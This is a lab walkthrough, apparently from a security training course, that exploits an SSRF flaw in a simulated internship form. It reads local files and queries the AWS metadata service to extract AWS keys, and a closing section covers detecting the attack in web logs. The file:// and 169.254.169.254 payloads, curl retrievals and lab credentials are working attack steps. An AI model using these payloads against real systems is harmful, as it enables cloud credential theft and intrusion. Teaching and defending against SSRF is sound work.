Lab 4.7: Cloud SSRF and IMDS Attack
Brief Intro
In this lab, you will evaluate the intern.falsimentis.com server, leveraging a Server-Side Request Forgery (SSRF) attack to gain access to Instance Metadata Service (IMDS) data.
Requirements for This Lab
In this lab, you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.
Try It Yourself
Run gossrf to setup the target environment. Access the Falsimentis Internship Application site at intern.falsimentis.com. Identify and exploit the SSRF vulnerability on the site to gain access to the website source code (index.html) to retrieve embedded password information. Exploit the SSRF vulnerability to also gain access to AWS credentials through the IMDS server.
Walkthrough
Overview
In this lab, you will use your Slingshot Linux VM to attack a simulated cloud virtual machine at intern.falsimentis.com. After browsing to the site you will assess the target to identity a Server-Side Request Forgery (SSRF) vulnerability, exploiting it to gain access to files on the target host, and access to Instance Metadata Service (IMDS) credentials.
Open a Terminal
From the Slingshot Linux VM, open a terminal.
Start the Simulated Cloud VM
From the Slingshot Linux terminal, run gossrf to launch the simulated cloud environment, as shown here.
sec504@slingshot:~$ gossrf Starting Docker service ..... Done. Starting container instance for intern.falsimentis.com 2021-05-16 10:16:13,696 INFO Set uid to user 0 succeeded 2021-05-16 10:16:13,698 INFO supervisord started with pid 6 2021-05-16 10:16:14,701 INFO spawned: 'nginx' with pid 8 ...
Browse to Target Site
From Slingshot Linux, open Firefox and browse to the target site at intern.falsimentis.com. Spend a minute exploring the target site, examining the site pages and functionality.
Visit the Intern Apply Page
From Firefox, click the link to visit the intern application form. Examine the fields on this page.
Note that one the fields asks the applicant to submit a published work product URL, as shown here. Anytime a site requests a URL as a data element, it may be vulnerable to an SSRF attack.
Next we'll continue to explore the published work sample input field as a possible SSRF vulnerability.
Prepare the Attack
To continue to explore the vulnerability, you will need to include a URL as part of the form submission process. Open a new terminal from Slingshot Linux and navigate to the ~/labs/www directory, listing the directory contents, as shown here.
sec504@slingshot:~$ cd ~/labs/www/ sec504@slingshot:~/labs/www$ ls circuitboard.jpg
For this lab we have included a sample circuit board image that you can use as part of the Falsimentis Intern form submission. You can display the file using the Eye of MATE (eom) utility, as shown here:
sec504@slingshot:~/labs/www$ eom circuitboard.jpg
When launching Eye of MATE, you will see the message
Error loading Eom typelib; this message can be safely ignored.
Close Eye of MATE to continue. From the terminal, start a local web server using python3 to deliver the image file to the remote site, as shown here.
sec504@slingshot:~/labs/www$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
By running the Python http.server module, we can use the Slingshot Linux IP address to serve the circuit board image as a remote URL (http://10.10.75.1/circuitboard.jpg).
Complete the Intern Application Form
Fill out the Falsimentis intern application form, entering the URL http://10.10.75.1/circuitboard.jpg in the Published Work Sample field, as shown below. (You can attach any file for the Resume option, or leave it unselected.)
Submit the application form after supplying the requested information. For simplicity in the lab, use the name Drew in the requested Name field.
Note: If the web page stops responding after clicking submit or you receive the error An error occurred, double-check the URL entered in the Published Work Sample field. Also make sure your Slingshot Linux system is configured to work in the lab environment by running the
connect-labscript, then submit the form again.
After submitting the form, the server will return a response that matches the example shown here.
Examining the response page, we see that the browser shows the circuit board image in the response. This is useful information to identify an SSRF vulnerability, but to confirm we also need to examine the attack system web server logs to see if the intern.falsimentis.com retrieved the image.
Switch to the terminal where you ran the Python3 web server to examine the logging output. You will see output similar to the example shown here.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 172.30.0.24 - - [16/May/2021 10:52:29] "GET /circuitboard.jpg HTTP/1.0" 200 -
Examining this output we see an HTTP GET request that reveals useful information for the attacker:
- The Falsimentis server requested the circuitboard.jpg image from 172.30.0.24
- The server responded with an HTTP 200 response
Since the server requests the image file from the attacker, and since it also displays the image in the application form response (in the Submission Accepted page), we can confirm that the system is vulnerable to SSRF attacks.
Next we'll evaluate the risk of the SSRF vulnerability to the Falsimentis server.
Examine Response Image URL
In the submission accepted response page, the server displays the circuit board image so that the applicant can see it successfully rendered in the browser. To leverage the SSRF vulnerability, we need to identify the URL for the Falsimentis server response.
Return to the submission accepted response page in Firefox. Right-click on the circuit board image, then select Open Image in New Tab, as shown here.
In the new tab you will see the full URL of the circuit board image, as shown here.
Here we see that the server has created a new, local copy of the circuit board image on the intern.falsimentis.com server as Drew.jpg (the name of the file will vary depending on how you filled out the intern application name field).
Note: Identifying the server-side file is an important element of leveraging an SSRF vulnerability to exfiltrate data from the server. While not always required to exploit the SSRF, identifying the server URL that is the product of the server-side request greatly simplifies the SSRF attack.
Right-click anywhere in the circuit board image then select Copy Image Link, as shown here.
Retrieve the Response Image with cURL
In the last step we saw how the server retrieved the circuit board image and displayed the content in the submission accepted page. To retrieve data from the server, we don't want to rely on the Firefox browser to retrieve the file as an image, and will instead use the command line URL (cURL) utility to retrieve the file.
Open a new terminal window. Enter the command curl, then paste the URL from the clipboard. Run the command to obtain a response similar to the example here.
sec504@slingshot:~$ curl http://intern.falsimentis.com/images/Drew.jpg Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning:" to save to a file.
In this example, cURL is warning us that the requested file is binary output, and does not display it on our screen. This is expected, since Drew.jpg is an image file. We'll return to this command to obtain access to exfiltrated data in the next step.
SSRF Exploit: Local File Include – /etc/passwd
Next we'll leverage the SSRF vulnerability to exfiltrate data from the server. In this example, we'll attempt to obtain the /etc/passwd file.
Return to the Firefox browser and the Falsimentis intern application form. Change the published work sample URL from the circuit board URL to file:///etc/passwd (note that there are three / slashes following file:), as shown here.
Submit the page. The submission accepted page may still show a valid circuit board image, or it may show a broken image (Firefox is somewhat inconsistent in how it chooses to use cached content with a broken image).
Return to the terminal and re-run the prior cURL command to see the content change, as shown here.
sec504@slingshot:~$ curl http://intern.falsimentis.com/images/Drew.jpg root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ...
Instead of a warning about binary data displayed on the screen, cURL returns the contents of the /etc/passwd file to the attacker. This attack process is illustrated as a flowchart here.
SSRF Exploit: Local File Include – /etc/shadow
Next we'll leverage the SSRF vulnerability to attempt to gain access to other resources; namely, the /etc/shadow file.
From Firefox, click the back button to return to the intern application form. Change the published work sample URL to file:///etc/shadow, as shown here.
Submit the page. Notice how the submission accepted page renders differently, missing the boxes and image content. Return to the terminal and re-run the prior cURL command to see the content change, as shown here.
sec504@slingshot:~$ curl http://intern.falsimentis.com/images/Drew.jpg sec504@slingshot:~$
The lack of content in the cURL command reveals that the SSRF file include attack failed. This is due to a permission restriction – while the vulnerable web server process can read the /etc/passwd file, the attacker cannot read other files that require root privileges. However, the attacker can read files from the file system that are accessible to all users (such as the /etc/passwd file as we saw earlier), as well as any files owned by the web server, such as the source code to the web application itself.
SSRF Exploit: Local File Include - /var/www/html/index.html
Repeat the SSRF file include attack, this time accessing the source code of the /var/www/html/index.html file that represents the main code of the Falsimentis intern website content.
Question: What is the embedded username and password in the web page application source?
Click to see solution
From Firefox, change the published work sample URL to file:///var/www/html/index.html, then submit the form. Repeat the cURL command to examine the contents of the response. You may wish to pipe the output of cURL with the --silent argument (to suppress the cURL progress indicator) to grep to identify any lines with the text user or password, as shown here.
sec504@slingshot:~$ curl --silent http://intern.falsimentis.com/images/Drew.jpg | grep -iE "user|pass"
define('DB_USER', 'intern');
define('DB_PASSWORD', 'geDgECURnQjuymuGKHoC');
Answer: In this output we see that the application source code defines a username of intern and a password of geDgECURnQjuymuGKHoC.
SSRF Exploit: IMDS Access Testing
Although many cloud systems will have minimal or inaccessible /etc/shadow files, SSRF vulnerabilities introduce a new attack path: Instance Metadata Service (IMDS) access. By accessing the virtual IMDS server at http://169.254.169.254, attackers can retrieve additional information about the cloud server, sometimes including cloud credentials used to launch the server.
Return to Firefox. Click the back button to return to the intern application page, then modify the work sample URL to request the contents of the IMDS server page at http://169.254.169.254. After submitting the form, return to the cURL command to examine the command output, as shown here.
sec504@slingshot:~$ curl http://intern.falsimentis.com/images/Drew.jpg latest
The output latest indicates that we are successful in accessing the virtual IMDS server on the cloud target system. The output indicates that the IMDS server has a directory called latest. This output also confirms that the target system matches the configuration and behavior of an Amazon Web Services (AWS) server running IMDSv1.
SSRF Exploit: IMDS AWS Info
Repeat this process, this time requesting the IMDS server URL http://169.254.169.254/latest/meta-data/iam/info to obtain information about the AWS Identity and Access Management (IAM) configuration through the info endpoint.
Question: What is the deploy role name used to launch the cloud instance?
Click to see solution
From Firefox, request the URL http://169.254.169.254/latest/meta-data/iam/info in the published work sample field, as shown here.
Repeat the cURL command to request the results, as shown here.
sec504@slingshot:~$ curl http://intern.falsimentis.com/images/Drew.jpg
{
"Code": "Success",
"LastUpdated": "2020-04-02T18:50:40Z",
"InstanceProfileArn": "arn:aws:iam::896453262835:instance-profile/falsimentis-deploy-role",
"InstanceProfileId": "AIPA5BOGHHXZELSK34VU4"
}sec504@slingshot:~$
The output from the IAM info request is JSON; you can modify the cURL request to add the --silent parameter, suppressing the progress indicator, then pipe the output to jq to see a color-coded and well-formatted version of the output, as shown here.
sec504@slingshot:~$ curl --silent http://intern.falsimentis.com/images/Drew.jpg | jq
{
"Code": "Success",
"LastUpdated": "2020-04-02T18:50:40Z",
"InstanceProfileArn": "arn:aws:iam::896453262835:instance-profile/falsimentis-deploy-role",
"InstanceProfileId": "AIPA5BOGHHXZELSK34VU4"
}
In this output, the InstanceProfileArn field reveals the Amazon Resource Name for the cloud instance, including the name of the deployment role.
Answer: In this output we see the deploy role name is falsimentis-deploy-role.
SSRF Exploit: AWS IMDS Credentials
With SSRF access to the IMDS server, and knowledge of the deploy role name, an attacker can request the http://169.254.169.254/latest/meta-data/iam/security-credentials/falsimentis-deploy-role/ IMDS endpoint.
Question: What are the access key and secret access key values disclosed by the IMDS server?
Click to see solution
From Firefox, request the URL http://169.254.169.254/latest/meta-data/iam/security-credentials/falsimentis-deploy-role/ (the trailing / is required) in the published work sample field. Submit the form. Repeat the cURL command to request the results, as shown here.
sec504@slingshot:~$ curl --silent http://intern.falsimentis.com/images/Drew.jpg | jq
{
"Code": "Success",
"LastUpdated": "2021-05-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-05-02T18:50:40Z"
}
Answer: The access key is AKIA5HMBSK1SYXYTOXX6; the secret access key is CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX.
In this output, the SSRF vulnerability allows the attacker to gain access to the IMDS instance, revealing the access key and access key secret used to build and deploy the cloud instance. An attacker could then add these values to their AWS credentials file to gain access to the victim cloud, potentially yielding access to additional cloud systems.
Cleanup
Return to the terminal where you ran the gossrf script. Press CTRL+C to terminate the cloud target.
Why This Lab Is Important
In this lab we explored the web server SSRF attack technique. While significant on its own, cloud systems present new risk when vulnerable to SSRF attacks through IMDS disclosure. While not all cloud providers are vulnerable to IMDS disclosure through SSRF, AWS systems running IMDSv1 servers (the default), Digital Ocean droplets, Alibaba Cloud, Oracle Cloud, and other providers are vulnerable to this attack, potentially disclosing credentials an adversary could use to escalate their privileges in the target cloud environment.
Video Walkthrough
Watch the accompanying video instructions for additional information.
Bonus (If Time Permits or Homework)
Examine Web Server Logs
The logging information from the web server can provide valuable insight to identify attacks, including SSRF and IMDS attacks. Using Elastic Stack or grep commands, you can search for keywords based on your understanding of SSRF and IMDS attacks to identify events of interest.
For this lab exercise, the intern.falsimentis.com log files are saved in /home/sec504/labs/ssrf/log. Change to that directory, then use multiple keywords used as part of the attack process in this lab to identify the corresponding attack log entries. Examine the logging information to gain experience in inspecting the types of logs that are generated in IMDS and SSRF attacks.
Click to see solution
First, change to the web server log directory for this lab exercise and list the files, as shown here.
sec504@slingshot:~$ cd ~/labs/ssrf/log sec504@slingshot:~/labs/ssrf/log$ ls -l total 12 -rw-r--r-- 1 root root 4296 May 17 12:48 access.log -rw-r--r-- 1 root root 699 May 17 12:47 error.log -rw-r--r-- 1 root root 0 May 17 12:46 php.log
Note: the size of log files will likely be different for your system.
First, display the contents of the error.log file, as shown here.
sec504@slingshot:~/labs/ssrf/log$ cat error.log 2021/05/17 12:47:34 [error] 14#14: *1 FastCGI sent in stderr: "PHP message: PHP Warning: file_get_contents(file:///etc/shadow): failed to open stream: Permission denied in /var/www/html/index.html on line 85" while reading response header from upstream, client: 172.30.0.1, server: _, request: "GET /?inputName=Drew&inputEmail=drew%40willhackforsushi.com&inputPhone=401-524-291&inputField=Electrical+Engineering&resumeFile=&inputWorkSample=file%3A%2F%2F%2Fetc%2Fshadow&additionalInformation=I%27m+excited+to+hear+more+about+internship+opportunities%21+-Drew&submit= HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "intern.falsimentis.com", referrer: "http://intern.falsimentis.com/?p=apply"
In the beginning of this single log entry we see the message file_get_contents(file:///etc/shadow): failed to open stream: Permission denied. While this message is specific to PHP web applications, we see that the server is logging the failed attempt to read the protected /etc/shadow file.
Next, use grep to search the access.log file for the following keywords:
circuitboardfile169.254.169.254
A search for circuitboard reveals the following log entry.
sec504@slingshot:~/labs/ssrf/log$ grep circuitboard access.log 172.30.0.1 - - [17/May/2021:12:46:59 +0000] "GET /?inputName=Drew&inputEmail=drew%40willhackforsushi.com&inputPhone=401-524-291&inputField=Electrical+Engineering&resumeFile=&inputWorkSample=http%3A%2F%2F10.10.75.1%2Fcircuitboard.jpg&additionalInformation=I%27m+excited+to+hear+more+about+internship+opportunities%21+-Drew&submit= HTTP/1.1" 200 2662 "http://intern.falsimentis.com/?p=apply" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" "-" 0.016 0.012 . -
Here we see the original request with the legitimate form submission including the remote endpoint URL for the circuit board image. Repeat grep command, this time searching for the file keyword.
sec504@slingshot:~/labs/ssrf/log$ grep file access.log 172.30.0.1 - - [17/May/2021:12:47:23 +0000] "GET /?inputName=Drew&inputEmail=drew%40willhackforsushi.com&inputPhone=401-524-291&inputField=Electrical+Engineering&resumeFile=&inputWorkSample=file%3A%2F%2F%2Fetc%2Fpasswd&additionalInformation=I%27m+excited+to+hear+more+about+internship+opportunities%21+-Drew&submit= HTTP/1.1" 200 2662 "http://intern.falsimentis.com/?p=apply" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" "-" 0.002 0.000 . - ...
This command will produce several log entries (omitted here for space), all revealing a file prefix instead of an http or https prefix. This is a likely indicator of an SSRF attack. The log also reveals the response code of 200, corresponding to a successful request, and a response size of 2662 bytes (this value will likely be different on your system) indicating that the system returned some data to the attacker as well.
Finally, search the logs for the 169.254.169.254 keyword.
sec504@slingshot:~/labs/ssrf/log$ grep 169.254.169.254 access.log 172.30.0.1 - - [17/May/2021:12:47:53 +0000] "GET /?inputName=Drew&inputEmail=drew%40willhackforsushi.com&inputPhone=401-524-291&inputField=Electrical+Engineering&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo&additionalInformation=I%27m+excited+to+hear+more+about+internship+opportunities%21+-Drew&submit= HTTP/1.1" 200 2662 "http://intern.falsimentis.com/?p=apply" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" "-" 0.004 0.004 . - ...
In this logging output we also see attempts to access the IMDS server, along with the URL, that will help us to evaluate the information disclosed to the attacker in the SSRF/IMDS attack.
Note: You may wish to copy-and-paste the log lines into CyberChef by visiting http://localhost:9002 to decode the contents. You can add the URL Decode ingredient, and optionally use the Find/Replace ingredient to make each HTTP parameter appear on a line by itself, as shown here.
Additional Resources
- The HackerOne bug bounty disclosure against the Omise online payment system by Pieter (honoki) provides an excellent walkthrough of the discovery and disclosure of AWS keys.
- Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service (AWS article on IMDSv2 use to defeat SSRF exploitation of IMDS services).
- A Pentester’s Guide to Server Side Request Forgery (SSRF)